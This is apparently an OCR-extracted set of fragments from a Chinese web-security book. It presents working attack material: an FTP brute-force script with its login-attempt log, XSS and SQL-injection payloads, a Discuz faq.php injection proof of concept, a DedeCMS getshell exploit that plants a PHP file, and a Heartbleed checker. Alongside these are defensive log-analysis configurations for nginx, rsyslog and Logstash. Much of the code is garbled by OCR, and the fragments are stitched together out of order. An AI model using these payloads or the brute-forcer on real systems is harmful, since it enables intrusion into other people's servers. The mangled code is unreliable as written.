header: P3P: CP=" 0TI DSP COR IVA OUR IND COM "

header: Cache—Control: private

header: Cxy_all: baidutb1f49deefae622a51f0e197b99080057

header: Expires: Tue, 06 Dec 2016 10:39:16 GMT

header: X—Powered—By: HPHP

header: Server: BWS/1.1

header: X-UA—Compatible: |E=Edge, chrome=1

header: BDPAGETYPE: 1

header: BDQID: Oxeb6a584f000036b4

header: BDUSERID: 0

header: Content—Encoding: gzip

<Response | 200 | GET, http://www.baidu.com | 0a955021-bba1—11e6-b35d-d0a637ed2d5>
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test"><script>alert (/anquanbao/) ;</script>
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#coding=utf-8

PortScan.py
Ty

import time
import socket

from thirdparty.lib.libnmap.process import NmapProcess
from thirdparty.lib.libnmap.parser import NmapParser,NmapParserException

class Port8can:

NMAP STATE=["open',"filtered", “closed", "unfiltered"]

NMAP OPEN STATE=["open"]

NMAP OPTIONS = "-sV -p
21-25,80-89,110,111,443,513,873,1080,1433, 1591,2375,3306,3389,3690,5900,6379,7001,800
0-8090,9000,9418,11211,27017-27019,50060"

def = init (self):
T
T
sellfii cheekSporeW=[ 21 2 253 07N FRNEEAS S A8 SEASS 016718 88 9736 819727 01 51|
seltENEime ol ER=45
self. hEtp targeti= ]
self. s = socket.socket (socket.AF INET,socket.SOCK STREAM)
sellFsis et imeou(Flioaa(ScItENE - imeouE)1)
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imiyoo: " /workplace/tscanner$ python test_dns. py
BRI PEIFRIRE 15169
PRSP EFHATE: 6725
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test';</script><script>alert (/anquanbao/)</script>//
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imiyoo:teye_port imiyoo$ python brute_ftp. py

ftesting account: (imiyoo, baidu)

Login FTP...

Error:Server 192.168.126.145 Cannot Login by the Account (imiyoo, baidu)
ftesting account: (imiyoo, test)

Login FTP...

Error:Server 192.168.126. 145 Cannot Login by the Account (imiyoo, test)
jtesting account: (imiyoo, root)

Login FTP...

Error:Server 192.168.126. 145 Cannot Login by the Account (imiyoo, root)
testing account: (imiyoo, anquanbao)

Login FTP...

192. 168. 126. 145:21—> (imiyoo, anquanbao) Success
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def test():

_setDNSCache ()

import requests

rl = requests.get('http://www.baidu.com")

print "FH—IRKEK M HELZRIE: "+str (rl.elapsed.microseconds)

r2 = requests.get ('http://www.baidu.com')

print "I KA A : "+str (r2.elapsed.microseconds)
test ()
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<?php

Scontent = $ GET[datal;
2>

<script>

var a='<?php=$content?>';
document.write (a);
</script>
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#coding=utf-8

ftp_brute.py

import ftplib
BRUTE_BREAK FLAG = True

def Login (ServerIP, username,password, Port=21):
f= ftplib.FTP()
f.connect (ServerIP,Port, timeout=10)
print "Login ETP..."
EEy:
f.login (username, password)
except ftplib.all errors:
print "Error:Server %s Cannot Login by the Account (%$s,%s)" %
(ServerIP,username,password)
Esguiti()
return False
return True

def verify(ServerIP, username,password, Port=21):
pass

def Brute (ServerIP, userlist,passlist, Port=21):
user_handler = open (userlist)
pass_handler = open (passlist)
try:
user_line = user_ handler.readlines()
pass_line = pass_handler.readlines()
finally:
user_handler.close()
pass_handler.close ()
for user in user line:
ftpuser = user.strip()
for pwd in pass_line:
ftppass = pwd.strip()

print "testing account : (%s,%s)" % (ftpuser, ftppass)
success = False
Loy

success = Login (ServerIP, ftpuser, ftppass)
except:

continue

if success:

print "%s:%d-->(%s,%s) Success" % (ServerlP,Port, ftpuser, ftppass)
3£ BRUTE_BREAK FLAG:
return

if _name =="_main_ ":

Brute ("192.168.126.145", "username.lst", "password.lst"
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"select * from user where id =" .$id
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AR

REEER

RBEHFE

floor()

(select{test 1} from (select
count(*),concat(md5(1),floor(rand(0)*2))x
from information_schema.tables group by

x)a)

c4ca4238a0b923820dcc509a6175849b1

extractvalue()

(extractvalue(1,concat(0x7e,(select

md5(1)),0x7e)))

c4cad238a0b923820dcc509a6f75849

updatexml()

(updatexml(1,concat(0x7e,(select

md5(1)),0x7¢),1))

c4ca4238a0b923820dcc509a6f75849
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log format access 'Sremote addr - Sremote user [Stime local] "$request" Shttp host '
'$status $body bytes sent "Shttp referer" '
'"Shttp user agent" "Shttp cookie" "Shttp x forwarded for" "Srequest body"';
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sQL iEa BRIEE FRAERIA R
Select (#xXifi) SELECT %% %k FROM # %% WHERE 7| i2H4F {H 1 where 2 J5
Insert (3N INSERT INTO £#&# VALUES ({8 1, {8 2,...) NG S
UPDATE # 4%k SET %4# = ¥ifH WHERE %4k = 34 EETSZ)E

Update (1)

Delete (fiHIE)

DELETE FROM %4 FX WHERE ZI4Fk = {4

1E where 2 J5
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select * from user where id=1 ZHEHEAS. il (and,or, ss, | |) {IREEIEA)
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MBI HEFR

IEN AR

$remote_addr

% {IPORHOST:remote_addr}

%{USER:ident}

$remote_user

%{USERNAME:remote_user}

$time local \[%{HTTPDATE:time local}\]

$request "%{WORD:method} % {URIPATHPARAM:request} HTTP/% {NUMBER:http_version}"
Shttp_host %{IPORHOST:http_host}

$status %{INT:status}

$body_bytes_send

%{INT:body_bytes_sent}

$http_referer

%{QS:http_referer}

Shttp_user_agent

%{QS:http_user_agent}

$http_cookie

%{QS:http_cookie}

$http x_forward_for

%{QS:http_x_forward_for}

$request_body

%{QS:request_body}
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$id = 1 and 1=2
select * from user where id =1 and 1=2
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#coding=utf-8

e
discus_faqg sql.py
i
import re
import time
from misc.common import md5
from teye web.http.URL import URL
from wCurl import wcurl
from teye poc.PocScan import PocScan
from LogManager import log
class discuz_faqg sql (PocScan) :
def | init  (self)i:
self. poc_info ={
'w_hat':{
'author':u"imiyoo",
'blog':u"http://www.imiyoo.com",
'team':u"W.A.T",
Yereate time’sul2015=8=3 1

'w_vul':{
'id':u"wDB-2015-1010",
'title':u"Discuz! faqg.php SQLIEAIEIH",
'method"' :"POST",
Ytag! suldiscuz",
Vrankisutr
'info':u"http://www.watscan.com/",

}

}
#HARIRE: 0IRAREUI,  1BRARR R Gl FH 7 4 A BIURLER 42)
self. scan mode = 0
self. vuln_file ="faqg.php"

self. param ="action=grouppermission&gids[10]=\\&gids[11][0]=) || {SQL}%23"
def chek(self,url):
log.info (u"IEFERM HARREAFTE: [$s]..." % self.get title())

if not self. scan_mode:

domain_obj = URL(url.get_domain())

exp_url = domain obj.urljoin(self. vuln file)
else:

exp_url = url.urljoin(self. vuln file)
error_sql,error_key = get _error sqgl key(type="floor"
exp param = self. param.replace ("{SQL}",error sql)
res = wcurl.get (exp url,param=exp param)
if self. find vuln(res,key):

self.security hole(exp_url)

def find vuln(self, res,key):

body =res.body
if body.find (key)>-1:

return True
else:

return False
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input {
file { , .
path => "/home/wwwlogs/access. og’ o
start position => "beginning" #MXHFTFIHAEES

} M)
#stdin {} #ATLAMBRAER A SR
filter {}

output {
stdout{}
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$id = 1 and 1=1
select * from user where id =1 and 1=1
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@ 192.168.126.142/discuz72/faq,php?action=grouppermission&gids[ 10]="&gids[11][0]=) || (select{test 1}from (se v €| [Q 2%
php groupp! g g

Array ( [1] => Array ( [0] => 7 [1] => §&f§# ) [10] => \' [11] => Array ( [0] => )||(select{test 1}from (select count(*),concat(md5(1),floor(rand(0)*2))x from
information_schema.tables group by x)a)# ) ) Array ( [0] => 7 [1] => \ [2] => )||(select{test 1}from (select count(*),concat(md5(1),floor(rand(0)*2))x from
information_schema.tables group by x)a)# ) '7','\',")||(select{test 1}from (select count(*) 1) ))x from i ion_schema.tables group by x)a)#"

Discuz! info: MySQL Query Error

Time: 2017-1-11 3:40pm
Soript: /discuz72/faq.php.

ingroups a ON u.groupid=a.admingid WHERE u.groupid IN (7",\', 1)from (select county( from information._ £roup by Xjaj#')
1Jor key ‘group_key'

Emu;.: 1062
B http://foq comsenz.com #AMIBRMBHRTE \ ﬁz iﬁ!‘]‘ﬁﬁE

e & A=
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96 lines (85 sloc) 5.21 KB Raw Blame History [ 4 T

USERNAME [a-zA-Z8-9._ -]+
USER %{USERNAME}
EMAILLOCALPART [a-zA-Z][a-zA-Z8-9_.+-=:]+
EMAILADDRESS %{EMAILLOCALPART }@%{HOSTNAME}
INT (2:[+-12(2:[@-9]+))
€ BASE1ONUM (2<![0-9.+-1)(>[+-12(?:(2:[@-9]+(2:\.[@-9]+)2)|(?:\.[@-9]+)))
NUMBER (?:%{BASE1@NUM})
BASE16NUM (?<![@-9A-Fa-f])(?:[+-]2(?:0x)?(?:[@-9A-Fa-f]+))
BASE16FLOAT \b(2<![@-9A-Fa-f.])(?:[+-]2(2:@x)?(?:(?:[@-9A-Fa-F]+(?:\.[0-9A-Fa-f]*)?)|(2:\.[@-9A-Fa-f]+)))\b

POSINT \b(2:[1-9][8-9]*)\b
12 NONNEGINT \b(?:[@-9]+)\b
13 WORD \b\w+\b
NOTSPACE \S+
1 SPACE \s*
DATA .*?
GREEDYDATA .*
QUOTEDSTRING (2>(2<!\\)(2>"(2>\\u [ [ANN"14)+" [ " [ (2> (>\\. [ [N T6)+ ) [ 1 (257 (oL [ [N T6)+7) 7))
UUID [A-Fa-f@-9]{8}-(?:[A-Fa-f@-9]{4}-){3}[A-Fa-f@-9]{12}
# URN, allowing use of RFC 2141 section 2.3 reserved characters
URN urn:[@-9A-Za-z][@-9A-Za-z-]{0,31}:(?:%[0-9a-fA-F]{2}|[0-9A-Za-z()+,.:=@;$_!*'/2#-1)+

# Networking

MAC (?:%{CISCOMAC}|%{WINDOWSMAC} |%{COMMONMAC})

CISCOMAC (?:(?:[A-Fa-f@-9]{4}\.){2}[A-Fa-f@-9]{4})

WINDOWSMAC (?:(?:[A-Fa-f@-9]{2}-){5}[A-Fa-fe-91{2})

COMMONMAC (?:(?:[A-Fa-f@-9]{2}:){5}[A-Fa-f@-9]{2})

IPV6 ((([@-9A-Fa-f]{1,4}:){7}([@-9A-Fa-f1{1,4}|:))|(([@-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]1{1,4}|((25[@-5]|2[@-4]\d|1\d\d|[1-9]12\d)(\.(25[@-5]|
29 IPV4 (2<![@-9])(?:(?:[@-1]2[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[@-1]?[0-9]{1,2}|2[@-4][0-9]|25[0-5])[.]1(?:[@-1]?[0-9]{1,2}|2[0-4][0-9]|25]
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$id=1" and '1'='1
select * from user where id =' 1' and '1'='1l"
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"select * from user where id ='" .$id."'"
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/ /B FE TR A
require once (DEDEDATA.'/common.inc.php');
function RunMagicQuotes (&S$svar)
{
if (!get magic quotes gpc())
{
if (is_array($Ssvar))
{
foreach (Svar as $ k => $ v) Ssvar($_k)= RunMagicQuotes ($ v);
}
else
{
Svar =addslashes ($svar) ;
}
}
return $svar;
}
/ JEM A R
foreach (Array (' _GET',' POST',' COOKIE') as $_request)
{
foreach ($$_request as $ k=>$ v)
{
${$_k} = RunMagicQuotes($ v);
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"select * from anquanbao where id =".$id."'"
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filter {
grok {

pattern => "${IPORHOST:remote addr} %{USER:ident} %{USER:remote user}
\ [${HTTPDATE: timestamp}\]
\" (?:%${WORD:verb} $%${NOTSPACE:request} (?:HTTP/%{NUMBER:http version})?|-)\"
%{IPORHOST:http host}
${INT:status}
%{INT:body bytes send}
s{O@S:htepirefcrer}
%{QS:http user agent}
%{QS:http cookie}

${QS:http x forword for}

{0S:request body}"

o0 o

}
HEIE eI H S, B TR MAEMER S, R DA e
e |HaciEe tisEE eeientcll = WiESekneie |

drop {}
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$id=1" and '1'='2
select * from user where id ='1l' and 'l'='2"
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Srow = $pv->dsgl->GetOne (" Select * From "#@ mytag’ where aid='S$aid' ");
if (lis_array(Srow))

{

Smyvalues = "<!--\r\ndocument.write ('Not found input!"');\r\n-->";
}
else
{

Stagbody = '';

if ($row['timeset']==0)

{
$tagbody = $row['normbody'];

else
$ntime = time () ;

if(Sntime>Srow(['endtime'] || $ntime < Srow['starttime']) {
Stagbody = S$row]'expbody'];

else {
Stagbody = $row|['normbody'];

}
Spv->SetTemplet (Stagbody, 'string'):;

Smyvalues = S$pv->GetResult();

$myvalues = str replace('"','\"',6 Smyvalues);

Smyvalues = str replace ("\r","\\r", $myvalues);

$myvalues = str replace ("\n","\\n", $Smyvalues) ;

Smyvalues = "<!--\r\ndocument.write (\"{S$myvalues}\");\r\n-->\r\n";

Sfp = fopen ($cacheFile, 'w');
fwrite ($fp, S$Smyvalues);
fclose ($fp) ;
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}

#iF IR H &

if [status] != "200" {
drop {}
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$gids = $ GET[gids];

elseif (Saction == 'grouppermission') {

ksort (Sgids) ;

Sgroupids =array();

foreach ($gids as$row) {

Sgroupids[]= $row[0];

}

Squery =$db->query ("SELECT * FROM { $tablepre}lusergroups u LEFT JOIN{S$Stablepre}admingroups
a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids ($groupids).")"):;
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root@iZ2521fv7x7Z:/var/log# tail -f all_access.log

Dec 16 14:36:57 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:01 +0800] "GET / HTTP/1.1" 200 1153 "-" "Mozill
a/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=(NbnnR" "-" “-"

Dec 16 14:36:57 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:01 +0800] "GET /favicon.ico HTTP/1.1" 404 162 "|
-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycookie=you are spide

Dec 16 14:37:47 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/201 43:52 +0800] "GET / HTTP/1.1" 304 @ "-"
.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycookie=you are spider"
Dec 16 14:37:47 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:52 +0800] "GET /lnmp.gif HTTP/1.1" 304 @ "http:
//192 168.126.141/" "Moz\l'ln/S @ (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycook]

Dec 16 14:37:47 61.135. 169 92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:53 +0800] "GET / HTTP/1.1" 304 0 "
.0 (X11; Linux x86_64; 38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycookie=you are spider”
Dec 16 14:37:47 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:53 +@800] "GET /lnmp.gif HTTP/1.1" 304 @ "http:
//192 168. 126 141/" "Mezll'ln/S 0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycool

.169492 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:54 +0800] "GET / HTTP/1.1" 304 @ "-" "Mozilla,

; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycookie=you are spider”

.165.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:54 +0800] "GET /lnmp.gif HTTP/1.1" 304 @ "http:
zil'lu/Sﬁ (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycool

.169. 2 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:55 +@800] "GET / HTTP/1.1" 304 0 " “Hoz\l\u/
rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycookie=you are spider" "-"
A169 92 ng\nx access 192. 168 126 141 - - [16/Dec/2016: 1‘ 43:55 qam] "GET llnnv glf H'I'W/l 1" 304 B "http

Dec 16 14:37:47 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:56 +080@] "GET / HTTP/1.1" 304 @ "-" "Mozl'llu/
.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0" "2zA_sid=CNbnnR; mycookie=you are spider” "-
Dec 16 14:37:47 61.135.169.92 nginx-access: 192.168.126.141 - - [16/Dec/2016:14:43:56 +0800] "GET /lnmp.gif HTTP/1.1" 304 @ "http:
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Logstash Instance

Input
plugin

Output
plugin

. Data Destination
Filter

plugin





OEBPS/Image00183.jpg
{BA)2: [Select] [from] [Where] [condition] [or] [condition]
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fag.php?action=grouppermission&gids[10]=\&gids[11] [0]=) {(#ATHF/}1%23
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$ModLoad imudp #J5 Fudp, 514 U4 H &
SUDPServerRun 514
:msg, contains, "nginx-access" /var/log/all access.log
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1Ef)1: [Select] [from] [Where] [condition]
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function implodeids ($array) {
if (!empty (Sarray)) {
return "'".implode("','", is array($Sarray) ? Sarray : array(Sarray))."'";
} else {
return '';
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/etc/init.d/rsyslog restart
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$id=1%"' and 1=2 and '%'="'
select * from user where id like '%1%' and 1=2 and '$%'='S%"
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No. Time Source Destination Protocol Length Info

7 0.000418000 192.168.126.1 192.168.126.142 TLSvl.1 291 client Hello

10 0.000977000 192.168.126.142 192.168.126.1 TLSv1.1 973 Server Hello, Certificate, Server Key Exchange, Server Hello [
12 0.001319000 192.168.126.1 192.168.126.142 TLSv1.1 74 Heartbeat Request[Malformed Packet]

13 0. BGHBSBBB 192.168.126.142 192.168.126.1 1‘545 [TCP segment of a reassembled PDU]

2 B.BOWDSBBB 192.168.126.142 192.168.126.1 TLSv1.1 1975 Heartbeat Response

» Frame 14: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface 0

» Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_80:56:5a (00: :80:56:5a)

» Internet Protocol Version 4, Src: 192.168.126.1 (192.168.126.1), Dst: 192.168.126.142 (192.168.126.142)
» Transmission Control Protocol, Src Port: 55493 (55493), Dst Port: 443 (443), Seq: 234, Ack: 2356, Len: 8

3 R —

Version: TLS 1.1 (0x0302)
Length: 3
- Heartbeat Message
{f]

0000 00 Oc 29 80 S6 Sa 00 SOf S6 cO 00 08 08 00 45 00 L )WVZP VL. v
0010 00 3c b8 6f 40 00 40 06 04 6c cO a8 7e Ol cO a8 .<.0@.@. .Ll..~...
0020 7e 8e d8 c5 01 bb fo o818 6d eb 8f 74 2a 80 18 oMo tE L
0030 Of d2 a2 d2 00 00 01 01W08 0a 1c 53 72 7b 02 03 w8 e

0040 15 al
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anti scan crawl.php

<?php

if (getenv ('HTTP_CLIENT IP'))
Sclientip = getenv ('HTTP_CLIENT IP');

if (getenv ('HTTP_X FORWARDED FOR'))
$x_forward for ip = getenv ('HTTP_X FORWARDED FOR');

if (getenv ('REMOTE ADDR'))
Sremoteip = getenv ('REMOTE_ADDR');

Sdata= "clientip:".Sclientip." x ip:".S$x forward for ip ."remoteip:".Sremoteip."\r\n";

file put contents("test for scan crawl.log", $data,FILE APPEND | LOCK EX);
2>
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$id=1%"' and 1=1 and '%'="'
select * from user where id like

318"

and 1=1 and
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'author':u"imiyoo",
'blog':u"http://www.imiyoo.com",
'team' :u"W.A.T",
fereate timeY:ul2011-8-=25"

by

'w_vul':{
'id':u"wbB-2011-1032",
'title':u"Dedecms mytag js.php getshelllwif",
'method':"POST",
'tag':u"discuz",
Yrank® """,
'info':u"http://www.watscan.com/",
}

}
#Ho# #EREEG oI AR, TR ARSI G S N I URLERAE)

self. scan mode = O#
#BE MR PR R, TR AR B E O H
self. db info = ('127.0.0.1', 'root', 'root', 'book', 'dede ')

self. file key = md5 (test)
self. data key =
self. vuln file ="/plus/mytag_js.php"
def check(self,url):
log.info(u"IEfEﬁiﬂ'JEﬁ‘Es?.—}ﬁfﬁ: [%s].-=" % self.get title())
if not self. scan_mode:
domain_path = url.get domain path ()
exp _url = domain_path.urljoin(self. vuln file)
chk _url = domain path.urljoin(self. file key)
elseq
exp url = url.urljoin(self. vuln file)
chk _url = url.urljoin(self. file key)
data="aid=1&cfg dbhost=%s&cfg dbuser=%s&cfg dbpwd=%s&cfg_dbname=%s
&cfg dbprefix=%s" % self. db_info
wcurl.get (exp_url,params=data)
time.sleep (1)
chk res = wcurl.get(chk url)
if self. find vuln(chk_res,self. data key):
self.security hole (exp url)#
def find vuln(self, res):
Hoo# body =res.body
if body is None:
return False
if body.find (key)>-1:
return True
else:
return False
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Set-Cookie:anti scan crawl= 098f6bcd4621d373cade4e832627b4f6;
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$id=1%" and 1=1 and "&"="
select * from user where id like "$1%" and 1=1 and "$"="&%"
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cat /etc/services | grep "over TLS/SSL"
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'select * from user where id like "%
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7 0.000418000 192.168.126.1 192.168.126.142 TLSv1.1 291 client Hello

10 0.000977000 192.168.126.142 192.168.126.1 TLSv1.1 973 Server Hello, Certificate, Server Key Exchange, Server Hello O
12 9.001319000 192.168.126.1 192.168.126.142 TLSv1.1 74 Heartbeat Request([Malformed Packet]
13 0.001365000 192.168.126.142 192.168.126.1 TCP 14546 [TCP segment of a reassembled PDU]

14 0.001608000 192.168.126.1

TLSV1.1 74 Heartbeat Request[Malformed Packet]

Frame 22: 1975 bytes on wire (15800 bits), 1975 bytes captured (15800 bits) on interface 0

Ethernet II, Src: Vmware_80:56:50 (00:0c:29:80:56:50), Dst: Vmware_c0:00:08 (00:50:56:c0:00:08)

Internet Protocol Version 4, Src: 192.168.126.142 (192.168.126.142), Dst: 192.168.126.1 (192.168.126.1)
Transmission Control Protocol, Src Port: 443 (443), Dst Port: 55493 (55493), Seq: 15388, Ack: 242, Len: 1909
[2 Reassembled TCP Segments (16389 bytes): #13(14480), #22(1909)]

Version: TLS 1.1 (0x0302)
Length: 16384

Payload (16365 bytes)
Padding and HMAC (16 bytes)
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<a href="anti scan crawl.php" style="display:none">
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#coding=utf-8

openssl heartbleed info.py

R}

import socket

import struct

from teye poc.PocScan import PocScan
from teye port.PortScan import PortScan
from LogManager import log

class openssl heartbleed info(PocScan) :
def  init (self):
self. poc_info ={

'w_hat':{
'author':u"imiyoo",
'blog':u"http://www.imiyoo.com",
'team' :u"W.A.T",
Yereate time'zuM2014=11=21"

b

'w_vul':{

'id':u"wbDB-2014-1012",

"title' :u"OpenSSL/CMEH M,
'method"' :u"TCP",

'tag':u"openssl",

'rank':u"®fE",
'info':u"http://www.watscan.com/",

}

HLEI3R fopens SR 5 5 I

self. wvuln ports = [261,443,563,636,989,995]
def check(self,url):

log.info (u' IE{ERCH HARSsREAALE: [%s)..." % (url.get host(),self.get title()))

domain = url.get host ()

ipaddr = socket.getaddrbyhose (domain)

ps = PortScan ()

open_ports = ps.nmap_scan (ipaddr)

for item in open_ports:

if item in self. vuln ports:
if self. find vuln (ipaddr,port) :
security hole (domain)
def _find_vuln(self, ipaddr,port) :
=socket.socket (socket.AF INET, socket.SOCK_ STREAM)

.settimeout (10)
.connect ( (ipaddr, port))
Send(thln(OPENSSL HELLO) )
#%E&HX(HE%WLIE]E’J%&I%E X H.SERVER HELLOM{&BER 885 T 97381 A
data=s.recv (973)

w n m|
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$id=1%" and 1=2 and "&"="
select * from user where id like "$1%" and 1=2 and "$"="&"
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imiyoo: $ cat /etc/services | grep "over TLS/SSL"

nsiiops 261/udp # |10P Name Service over TLS/SSL
nsiiops 261/tcp # 110P Name Service over TLS/SSL

https 443/udp # http protocol over TLS/SSL

https 443/tcp # http protocol over TLS/SSL

nntps 563/udp # nntp protocol over TLS/SSL (was snntp)
nntps 563/tcp # nntp protocol over TLS/SSL (was snntp)
|daps 636/udp # ldap protocol over TLS/SSL (was sldap)
|daps 636/tcp # |dap protocol over TLS/SSL (was sldap)
ftps—data 989/udp # ftp protocol, data, over TLS/SSL
ftps—data 989/tcp # ftp protocol, data, over TLS/SSL

ftps 990/udp # ftp protocol, control, over TLS/SSL
ftps 990/tcp # ftp protocol, control, over TLS/SSL
telnets 992/udp # telnet protocol over TLS/SSL

telnets 992/tcp # telnet protocol over TLS/SSL

imaps 993/udp # imap4 protocol over TLS/SSL

imaps 993/tcp # imap4 protocol over TLS/SSL

ircs 994/udp # irc protocol over TLS/SSL

ircs 994/tcp # irc protocol over TLS/SSL

pop3s 995/udp # pop3 protocol over TLS/SSL (was spop3)
pop3s 995/tcp # pop3 protocol over TLS/SSL (was spop3)
xtrms 3424/udp # xTrade over TLS/SSL

xtrms 3424/tcp # xTrade over TLS/SSL

opcua—tls 4843/tcp # OPC UA TCP Protocol over TLS/SSL
opcua—tls 4843/udp # OPC UA TCP Protocol over TLS/SSL
wsmans 5986/tcp # WBEM WS—Management HTTP over TLS/SSL

wsmans 5986/udp # WBEM WS—Management HTTP over TLS/SSL
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location /

{

if ( Shttp cookie !~* " anti scan crawl =" ) {
add header Set-Cookie ' anti scan crawl = 098f6bcd4621d373cade4e832627b4f6";
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BEH (0318 .
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f
"message" => "192.168.126.1 - - [17/Dec/2016:17:52:45 +0800@] \"GET /p.ph
p?act=rt&callback=jQuery170013389064965628972_1481968361729& =1481968365818 HTTP/1.1
\" 192.168.126.141 200 416 \"http://192.168.126.141/p.php\" \"Mozilla/5.0 (Macintosh
; Intel Mac 0S X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95
Safari/537.36\" \"2zA_sid=1QFL@2; mycookie=you are spider\" \"-\" \"-\"",
"@version" => "1",
"@timestamp" => "2016-12-17T11:08:32.180Z",
"host" => "debian",
"remote_addr" => "192.168.126.1",
"ident" => "-%,
"remote_user" => "-",
"timestamp" => "17/Dec/2016:17:52:45 +0800",
"verb" => "GET",
"request"” => "/p.php?act=rt&callback=jQuery170013389064965628972 1481968
361729&_=1481968365810",
"http_version" => "1.1",
"http_host" => "192.168.126.141",
"status" => "200",
"body_bytes_send" => "416",
"http_referer" => "\"http://192.168.126.141/p.php\"",
"http_user_agent" => "\"Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_10_2) AppleWeb
Kit/537.36 (KHTML, 1like Gecko) Chrome/55.0.2883.95 Safari/537.36\"",
"cookie" => "\"2zA sid=1QFL@2; mycookie=you are spider\"",
" forward" => "\"-\"%,
"request_body" => "\"-\""
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$id=1" and "1"="1
select * from user where id ="1" and "1"="1"
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{dede:php}
file put contents (md5 ("wat2018").".php","<?php echo md5 (\"wattest\");

@unlink (__FILE_);?>");
{/dede:php}
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print http req

from teye core.tcore import tCore
scan_engine = tCore ()
scan_engine.scan request (http req)
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{dede:php}
file put contents (md5 ("XHFAFFIE") . " . php", "<?php echo md5 (\"HHFFHE\") ;

@unlink(_FILE );?>");
{/dede:php}





OEBPS/Image00436.jpg
python scan_log. py
GET http //192 168. 126. 145/p. php?act=rt&cal |back=jQuery170013389064965628972_1481968361729& =14819 HTTP/1.1
Cookie: 2zA_sid=1QFL02; mycookie=you are spider
Host: 192.168. 126. 145
Referer: http://192. 168. 126. 145/p. php
User—Agent: TScanner/1.0

:12017-02-10 16:20:07, 485:sq|. check. 51 — IEFEH BAFR B EESILENRR. . .
:12017-02-10 16:20:09, 150:xss. check. 36 — IEFEH BAFR B FEXSSEILRA. . .

:2017-02-10 16:20:09, 155: xss. check. 65 — XSS Vuln

JWIFURL : http://192. 168. 126. 145/p. php, iEiF&%cal Iback

:12017-02-10 16:20:09, 210:cmd. check. 37 — EAEKRABIFREBFESSRITRE. ..

:12017-02-10 16:20:10, 261: Ifi. check. 35 - EERAMBERRBEEXHELTRE. . .

:2017-02-10 16:20:11, 455:bak. check. 55 — EZE#RMBFREEEXHEHIRA. . .

:2017-02-10 16:20:12, 714:nginx. check. 40 — IEZEHN BIFR BN i nxBHTRIE. . .

:12017-02-10 16:20:12, 715:struts. check. 33 — IEZEHMIBiFR B FEStrutsIERIR/RA. . .

:12017-02-10 16:20:12, 722:directory. check. 49 — EZE#RM BIRRERFEDirectory B RFIZE/R. . .
{u'192.168.126.145': {'teye_xss_plugin': ['xss': [<vuln object: "XSS Vuln">1}}}






OEBPS/Image00194.jpg
"select * from user where id like '$" .$id."s'"
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#coding=utf-8

dedecms_mytag getshell.py

T

import re

import time

from misc.common import md5

from teye web.http.URL import URL
from wCurl import weurl

from teye poc.PocScan import PocScan
from LogManager import log

classh dedeemsimytag getshelll(PocScan)i:
elng | diniie  (Beiki) g

#Hoo# seillfipociin fol =1
'w_hat':{
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#coding=utf-8

scan_log.py

T

import re

from teye web.http.URL import URL

from teye web.http.Request import Request
from teye web.http.cookie import cookie
from teye web.http.postdata import postdata
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$id=1" and "1"="2
select * from user where id ="1" and "1"="2"
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http://192....refix=dede_ X | 4

€ @©192.168.126.143

> EAE:
fg_dbhost=127.0.0.1
f2_dbname=book / HIEEEEEEEES
fg_dbuser=root
fg_dbpwd=root
fg_dbprefix=dede_
Select * From “dede_mytag where aid='1"limit 0,1;

wBe ¥ /& =

imiyoo@debian:/home/wwwroot/default/dedecms$ cat data/common.inc.php |more
?php
/BUE FEE R ER
$cfg_dbhost = '127.0.0.1"';
$cfg_dbname ‘tast';
Yroot';
'root';
= 'dede_'

$cfg_db_language = 'utf8

imiyoo@debian: /home/wwwroot/default/dedecms/plus Eﬁiﬂ"]f{#ﬂ qu @ﬁﬁ x
XHHF) 4RIB(E) BA(V) RR(S) LT #HEH)
imiyoo@debian /home/wwwroot/default/

?php echo md5("wattest”);@unlink(__
imiyoo@debian: /home/wwwroot/ default/dedecms/

| more|
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log_pattern=re.compile(r'''

([*\s]+) #remote_addr

\s ([“\s]+)Ns=XsA[ I2N]T A\ \s #hostname - [time]
(™ EAN] 1) #Uri

\s (\d{3}) #Code

\s (\d+) #Bytes

Nal (M [~ =) #referer

\s (" [*"]+") #ua

\s" [~ +" #other

NS ]+ #cookie

NS (S INwEINSE AP NS UM\ T 2] [AY] M 1,2  \ s s "\ sNd+ - \a+\sY [A"] +7N\s™ [2™] 10, ¥
"\s (N[ =) \st 2]+ \s: #other

(Ean] +m) #body

VY, e X)),

def convert log to http(log item):
req =None
log = log item.strip()
match = log pattern.match (log)

if match:
info tuple = match.groups ()
log_ip = info_tuple[0]
